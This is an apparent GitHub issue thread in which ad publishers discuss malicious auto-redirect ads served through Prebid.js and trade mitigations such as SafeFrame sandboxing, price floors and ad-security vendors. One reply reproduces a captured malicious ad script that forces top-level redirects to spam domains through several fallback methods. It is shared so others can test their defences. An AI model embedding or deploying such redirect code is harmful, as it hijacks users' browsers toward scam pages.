Mobile Auto Redirect Ads - Increasing Major PROBLEM.

[mercuryyy]

Type of issue

Lately myself and many people i know are seeing an increase in auto redirect ads across mobile devices.

I have a possible solution for this but lake the skills to implement it within prebid, perhaps someone can offer a pull request or a custom code snippet to the implementation.

Possible solution - programmatically inspect the ad payload before you append the unit code to the page.
This provides an excellent opportunity to regex / search the ad payload string for code that sets window.location, and enables the developer to take specific actions when detected (such as bypass the bad ad and instead display a trusted remnant solution or house ad).

So simply adding a regex that detects bad behavior auto redirect ads and when detected just chose the next winning bid ad payload.

This is a serious problem that is increasing rapidly.

[ialex]

There are 2 types of ads that prebid renders first one is usually contains html markup to render on page via document.write and the other is a url rendered on an iframe.

The problem is that if you get an ad as a URL you dont know what this url is going to load unless you render it, and the code it return may also load more JS from other urls so i think it will be hard to be able inspect all the JS these ads load.

We could think the first type of ads may be easier to inspect but given that the code can be an iframe itself it could also present same problem.

on /adops slack somebody suggested as a work arround to remove all line items below 1 USD for mobile US traffic to prevent this bad ads, you may want to try that.

[mercuryyy]

Thank for the feedback @ialex what i actually did was set a .50 floor for all bidders for now. Our mobile traffic is 80% of our total traffic so removing all or disabling all line items below 1.00 will big a huge downset even setting a global 0.50 floor to avoid most spam auto redirect ads is a big draw back.

Hopefully prebid can force all networks to use safe frames in the next update in my opinion this should be a high priority this is a very rapidly growing trend spammers are picking up on prebid and buying huge amounts of remnant inventory from the exchanges. This hurts sites credibility. It is such a huge problem for us that im willing to leave a big amount of $ on the table by setting unnecessary floor prices for US mobile traffic to avoid SOME/MOST of these ads.

Or perhaps loading prebid ads in a container that can be controlled using javascript to block iframe redirects or anything like that. Really hope for some sort of solution.

[mkendall07]

@mercuryyy
You should be able to start testing using SafeFrames after the next release. That should prevent this behavior.

[mercuryyy]

@mkendall07 do every ad network need to update their adapter or delivery system to support safeFrames or the pull i see merged for safeFrame support adds it globally ?

[mkendall07]

Most adapters should work already. There could be a few that are relying on window.top operations, but I don't think it is many. As we identify those bidders we will request changes.

The changes require you to update your creative line items with creative code that supports SF, as well as checking the SF creative option. I would recommend you testing this out on a few placements to see how it affects your impressions levels (SF itself has some overhead.)

[mercuryyy]

@mkendall07 Im about to give this a try now, I cant find the SF creative code for dfp on the adops docs in prebid.org can you post it here please.

[mkendall07]

https://github.com/prebid/Prebid.js/blob/master/integrationExamples/gpt/x-domain/creative.js

[mercuryyy]

Thank you! Do i leave this part untouched ?

const publisherDomain = 'http://localhost:9999';
const adServerDomain = 'http://tpc.googlesyndication.com';

[mkendall07]

@mercuryyy
You need to update with your own domain for publisherDomain

[mkendall07]

suggest you use protocol as well in case you serve both HTTP and HTTPS pages.

[mercuryyy]

Yeah i figured but for DFP - const adServerDomain = 'http://tpc.googlesyndication.com';
will stay as is right?

[ehoch]

@mercuryyy It will change from http to https based on whether you're running https or not, but from my knowledge, SafeFrames always serve from "tpc.googlesyndication.com" as the domain at least.

[mkendall07]

Right, we'll update the example to pick up the protocol automatically.

[protonate]

@mercuryyy the updated example included in #955 and #971 should help. Closing as answered, please reopen if any additional info.

[sonemic]

@protonate Do you know if this is being used by anyone with success? We have tried the new creative and there seems to be a disconnect between the bidding and the ad serving - the ads do seem to load from the correct bidder and DFP reflects this, but all bidding partners report zero impressions and zero revenue, leading to a 100% discrepancy. Furthermore, most of the ads served seem to be PSAs, which seems to indicate that something's amiss.

We'd love to debug this ourselves, but don't know where to start or what signs to look for to indicate a problem.

We're building prebid 0.19.0 and made a minor modification to the creative to have the protocol for tpc.googlesyndication automatically match the site (which we tested and found to be working), but are otherwise doing everything as instructed. We've made sure that "Serve into a SafeFrame" is selected as well.

[kik2]

Is there any solution for this issue? Can ads be served now via safe frames? We're experiencing this massively now as well.

[pribeh]

We're seeing a crazy spike with this issue. Any updates? Anyone using this successfully?

[mkendall07]

@pribeh
Are you using safeFrame? SafeFrame can be used if you swap out the creative line item with the safeframe one.

[chefbenjamin]

@mkendall07 we are also seeing a spike in mobile redirects originating from Prebid. Any issues with us tweaking the creatives in Appnexus to safeframe ?

Benjamin

[pribeh]

@mkendall07 We are using safeframe as outlined here. We're still getting some reports but trying to discern if there's any difference in the amount of them.

[kik2]

On our case, there was just one network that sent all those redirects. We got removed it and all such requests were gone.

…

On 08/08/2017 4:02 AM, Thomas wrote: @mkendall07 <https://github.com/mkendall07> We are using safeframe as outlined here <url>. We're still getting some reports but trying to discern if there's any difference in the amount of them. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#927 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/ALgpKjOPvBOXlNCPZBrZyQXCYnSHWiebks5sV7OwgaJpZM4LlMiI>.

[mkendall07]

Re-opening this issue to consolidate conversation here on this topic. Please reply to this thread only and not old closed issues. Thanks.

[pribeh]

@kik2 How did you isolate the source?

[mercuryyy]

Re Posting this from the closed thread.

@mkendall07 Yeah Matt even with safeFrames we are getting the same auto redirect ads. Today after 8 months using safeframes i'v decided to drop safeframes. for now higher CPM floors seem to be the only thing that slows down auto redirect ads.

Also Matt from what i understand safeFrames wont be a priority or maybe even an option in prebid V1, so is it safe to say, publishers moving away from safeframes at this point is preferred? considering your testing with the gain in using safeframes compared to the loss (latency and other factors).

[kik2]

There were two networks we suspected of, based on their generally lower CPMs. We dropped them both and stopped getting users' complains. After we were sure we were clean we returned one of them and luckily it was the clean network.

…

On 08/09/2017 1:12 AM, Thomas wrote: @kik2 <https://github.com/kik2> How did you isolate the source? — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#927 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/ALgpKjQStq1ZaqH4KDYjjktAQCGenSWJks5sWN1dgaJpZM4LlMiI>.

[brondsem]

Make sure you set {sandbox:true} in your googletag setup code. This is not well documented but a critical setting for it to work right (see #1099)

[cwbeck]

@BartVB - novel idea, but there are the obvious headaches: -

• In 20 pages, at least on one of our sites, that is around 80-100 ads (needle in haystack issue)
• Ad code being stashed here is the ad loader, not the actual ad. The majority are bait and switch, hence being missed by tools using phantomjs etc. The same loader will render a different ad, not the malicious one your user saw.
• Still, the vast majority of SSPs have no identifier for that creative (only AppNexus, IndexExchange and a few others do). For this reason, if you manage to find it, it will be hard to block.

We are still playing the game of whack-a-mole. The best results have come from white-listing buyers where possible, although this is not possible with all our SSPs connections yet.

[gitsh84]

@BartVB @cwbeck Thanks for your thoughts.
I will try the CPM floor approach as an immediate action and try to pinpoint the more problematic networks. Will report back with result and/or if I find a better approach.

[eliyastein]

Great thread with lots of good ideas. Confiant’s real time ad security tech works in much the same way as some of these ideas and we’ve seen initial success at protecting our publisher’s from redirects with it. Part of the challenge was figuring out how to do the verification in near real time so as to add minimal latency.

We’re happy to provide a free trial to anyone interested in testing. We’ve a Prebid javascript wrapper built to facilitate the integration too:

https://github.com/confiant-inc/Prebid.js/pull/3/files

[cwbeck]

@eliyastein - we tried Confiant for several weeks and in that time we found a few issues:-

• It took down our global ad serving for a while when a bad release was pushed out
• Flagged some in-banner video, but missed almost all the redirects we found
• Added a fair amount of latency and load to each ad request
• We had issues with the UI and granularity of the auto-blocking features
• Suffers from the same issues of unfriendly iframe redirects on the client
• Found it blocking domains that were actually legitimate domains
• Although we never turned auto-blocking on, we were told we would lose around 20% of ad requests and subsequently a similar percentage of revenues

We tried to improve on this model but found a number of issues could not be overcome. PageSeal and a few others are offering a similar service, although we've not had any success to-date.

[eliyastein]

Sorry to hear about your poor experience @cwbeck - That was before my time, so I hadn’t connected the dots. I’m told Venatus is actually the only publisher so far that has had that experience. We’d value hearing more of your feedback and having you test again.

[cyberstever]

@cwbeck That’s very different from our experience with Confiant. From our testing of the various options out there, esp for preventing mobile redirects and malware, Confiant is the only solution that actually works. We’ve been using them since before they were known as Confiant and have been very satisfied. Did they have one outage in the time that we have been using them, yes. But they recovered from that with a more robust architecture and operations, and haven’t had an issue since. We haven’t seen the latency issues you had, and we haven't found any negative user impacts. The only ads we auto-block are the ones that would result in a redirect or malware. Video, sound, large downloads, etc are not what we’re concerned with at this time. While the capability to block based on that is interesting, we’d rather audit that data and work directly with the source on a case by case basis (if the number of bad ads warrant it) to remediate it. If the issues you had were related to that, we have different use cases.
The team at confiant has always been very responsive and good to work with. Other publishers have found that to be the case as well and if anyone is having issues with redirects etc, we absolutely recommend giving them a try.

[sonemic]

FWIW, Confiant is the only thing that's worked for us as well. We have been working on this problem for almost a year now, have tried at least a dozen different strategies to address this without success before trialing Confiant. It's not perfect and it's not cheap, but these ads have been a serious threat to our reputation with users and it's the only thing that has significantly reduced complaints.

From a publisher perspective, this has been a really frustrating experience. You have to wonder how the online ad industry got to the point where it allows pseudo-anonymous people to place creatives which run unrestricted javascript on the client, without providing publishers any tools to monitor who is purchasing the inventory on their sites and what's contained in those creatives. There is no accountability here. And of course, publishers take 100% of the blame from end-users, who not only think we're responsible, but often believe that we're profiting heavily from it.

[cwbeck]

@cyberstever, @sonemic glad to hear Confiant is working for you both. I have spoken to them since (as we were offered another free trial) and they do recognise limitations of detecting and blocking redirects. Confiant have yielded the best results in our tests, but as I have pointed out have some issues.

[cwbeck]

Not sure if anyone has seen, but Google has just announced that Chrome 65 will start blocking unwanted redirects. This is and always has been a browser-based issue, so this is a step in the right direction in my view! Chrome 64 has now blocked auto-play sound-on video too.

[pribeh]

@cwbeck Now let's hope that the Safari team at Apple follows suite.

[Deimos01]

Hello guys,

I just found a JS function using by our enemies. This hidden JS file was delivered with a clean ad, from a great brand :

var timeout = 11e3;
var target = "http://lpo6.com/go/?aclid=aMe5DLZOz5_ayQXJuhD69a6sw5rW0Gnkzhk.&cid=153&pid=0&parm5=269641&parm4=capeutservir.com&parm3=&parm2=smart&parm1=169129";
var tracker = "http://winluckygifts.online/go/?cid=1456&pid=0";

function tracking() {
    if (tracker && window.top.opener) {
        if (Math.random() > 0) {
            window.top.opener.location = tracker
        }
    }
}

function redirect(method) {
    if (method == "href") {
        window.top.location.href = target
    } else if (method == "link") {
        var link = document.createElement("a");
        link.target = "_top";
        link.href = target;
        document.body.appendChild(link);
        var event = document.createEvent("MouseEvents");
        event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
        link.dispatchEvent(event)
    } else if (method == "form") {
        var form = document.createElement("form");
        form.target = "_top";
        form.action = target;
        form.method = "GET";
        document.body.appendChild(form);
        form.submit()
    } else if (method == "data") {
        var html = encodeURIComponent('<html><head><meta http-equiv="refresh" content="0;url=' + target + '"/></head><body></body></html>');
        parent.parent.location.href = "data:text/html;charset=utf-8," + html
    }
}
setTimeout(function() {
    tracking()
}, timeout - 4e3);
setTimeout(function() {
    redirect("href")
}, timeout + 1e3);
setTimeout(function() {
    redirect("link")
}, timeout + 2e3);
setTimeout(function() {
    redirect("form")
}, timeout + 3e3);
setTimeout(function() {
    redirect("data")
}, timeout + 4e3);

So you just have to copy/paste the code, launch the webpage and wait few seconds ...
Maybe it could help some developers to test sandbox Iframe or Safeframe.

[millieone]

We're experiencing this problem as well. Is there anything wrong with naming the names of networks causing this issue? I think that would help others get to the bottom of this. We're going to put in a floor.

[Deimos01]

@millieone the fact is all the SSP are "infected". We are working with 15 SSP and we are facing mobile redirect issue coming from all the SSP. The difference is on the percentage of the infected ads. It can vary from 5% to 25% of infected ads, depends of SSP and seasonality. The only effective solution is to set a global floor.

[millieone]

We set a floor of $1.25 last night and problem is still continuing (we just cancelled all the DFP line items below this amount as that was the easiest way). Seems primarily to occur on iphones. Maybe it's coming through non prebid traffic (old waterfall we still use) but the adnetworks should be embarrassed for letting this crap in.

Anyone had any luck using Charles Proxy to figure out which partners its coming from?
http://www.adopsinsider.com/ad-ops-tools/catch-mobile-app-store-redirect-ads/

[chefbenjamin]

@millieone we found floors made no difference what so ever. I agree with @Deimos01 that all SSPs are infected, however there are some prebid partners we found had no filtering and they removed from the stack. We have also found the only thing that works is www.confiant.com sure one or two gets through but the vast majority dont. they also allow you to block by domain and things like IBV.

[e1superman]

Throwing my hat in -- I also am experiencing large spam targeted at iOS (iPhone namely) devices with Safari. Chrome seems to be ok on iOS. I've traced the issue to several domains (10s of them) all owned by someone in China. The perform rapid redirects from the corrupt ad to the landing page. As others noted -- user complaints on the final url don't help.

I'm working with the ad newtork I believe is sending the ads via prebid to block the advertiser. I'm also increasing my bid floor on their platform. I'll status as things progress.

[e1superman]

I am also going to try Confiant. Just sent them a message.

[camogli]

I have had luck using Charles Proxy to figure out where our redirects are coming from. Some are more difficult than others, but I can track them back around 80-90% of the time. It’s reproducing them that’s the issue for us. I’m guessing this Prebid list isn’t the right place to get into this in depth, though. I don’t know the etiquette involved in something like this, so someone let me know if this is not ok. I created a Slack workspace. You should be able to join by clicking this link: https://join.slack.com/t/pubmalwareads/shared_invite/enQtMjgzNDkyMzk0MjczLTg4MmFkNDdmZmY3Njc2MGJmNzZhNDgxOWZmYWE5MTRjNzJiZWViNmU2MmY1ZmZmYzY4ODQ3MThkYjM0YTY4MGQ <https://join.slack.com/t/pubmalwareads/shared_invite/enQtMjgzNDkyMzk0MjczLTg4MmFkNDdmZmY3Njc2MGJmNzZhNDgxOWZmYWE5MTRjNzJiZWViNmU2MmY1ZmZmYzY4ODQ3MThkYjM0YTY4MGQ> I’ve tried to lock it down so that emails and real names are hidden, but fair warning that I am not a Slack expert. This just seemed like the easiest way to start. Slack allows uploads up to 25MB so hopefully that would be enough. If someone else has a better suggestion for how to handle this, or if there’s already a Slack or Google Group or other sort of forum for this sort of thing, please let me know.

…

On Nov 30, 2017, at 6:34 AM, millieone ***@***.***> wrote: We set a floor of $1.25 last night and problem is still continuing (we just cancelled all the DFP line items below this amount as that was the easiest way). Seems primarily to occur on iphones. Maybe it's coming through non prebid traffic (old waterfall we still use) but the adnetworks should be embarrassed for letting this crap in. Anyone had any luck using Charles Proxy to figure out which partners its coming from? http://www.adopsinsider.com/ad-ops-tools/catch-mobile-app-store-redirect-ads/ <http://www.adopsinsider.com/ad-ops-tools/catch-mobile-app-store-redirect-ads/> — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#927 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/ABi339X32ZX5Ed9TaC8OsAo-Aww8_0oXks5s7rzmgaJpZM4LlMiI>.

[eliyastein]

@camogli - There are active discussions around these topics on the Reddit AdOps Slack:

https://redditadops.slack.com/join/shared_invite/enQtMjQ5MTUxNjU5ODYyLTRiMzY4MWNlZmQyZjBlODIxYzkyNGZmZDcwNGRhZThiYzY0NGIyYTJhMzQ5YzI4OGZlZWMyY2Q1ZWIwNTMzNDA

[stale]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

[thalam001]

@eliyastein Our platform suffered much from auto direct recently. We have tried some solutions to protect our-self, including Doubleverify monitoring, but it looks like we are still under "attack". I see many people mentioned Confiant and we really would like have a try. Would you mind to re-share the link about "Prebid javascript wrapper" you mentioned before, cuz that page is no longer existed. Much appreciated :)

[eliyastein]

@thalam001 - Happy to help. Please send a note to contact@confiant.com - We can provide documentation and get you started with a free trial after we have an mNDA in place. It's a pretty painless process that will hopefully help your situation.

[thalam001]

Thanks @eliyastein ! will email them tomorrow.

[mercuryyy]

Recently there has been huge attacts of auto mobile redirect.

Follow these steps to block them.

1. Change your creatives in dfp to safeframe - https://github.com/prebid/Prebid.js/blob/master/integrationExamples/gpt/x-domain/creative.html
   Make sure you enable force safeframe in the dfp options page for the creative.

2. @mkendall07 Matt a while ago i told you safeframes was not helping. The reason was for 3rd party dfp does not set sandbox on default. We have to tell dfp to enable sanbox on all 3rd party units.

In prebid init code look for

googletag.pubads().refresh()

change to

googletag.pubads().setForceSafeFrame(true).refresh()

in the google dfp ad units code look for

(unit tag).addService(googletag.pubads())

change to

(unit tag).setSafeFrameConfig({sandbox: true}).addService(googletag.pubads() ....

This will enable sandbox on the first level google dfp iframes and block almost all redirects.

IAB and top executives at major exchanges if they wanted to they can do something about this, its a shame because it hurts publishers reputation and it directs more visitors to install adblock plugins which hurts everybody!

[vitalbh]

the safeframe did not solve completely (popups instead of redirect), we identified that the problem in our case only came from AppNexus and we had to remove it.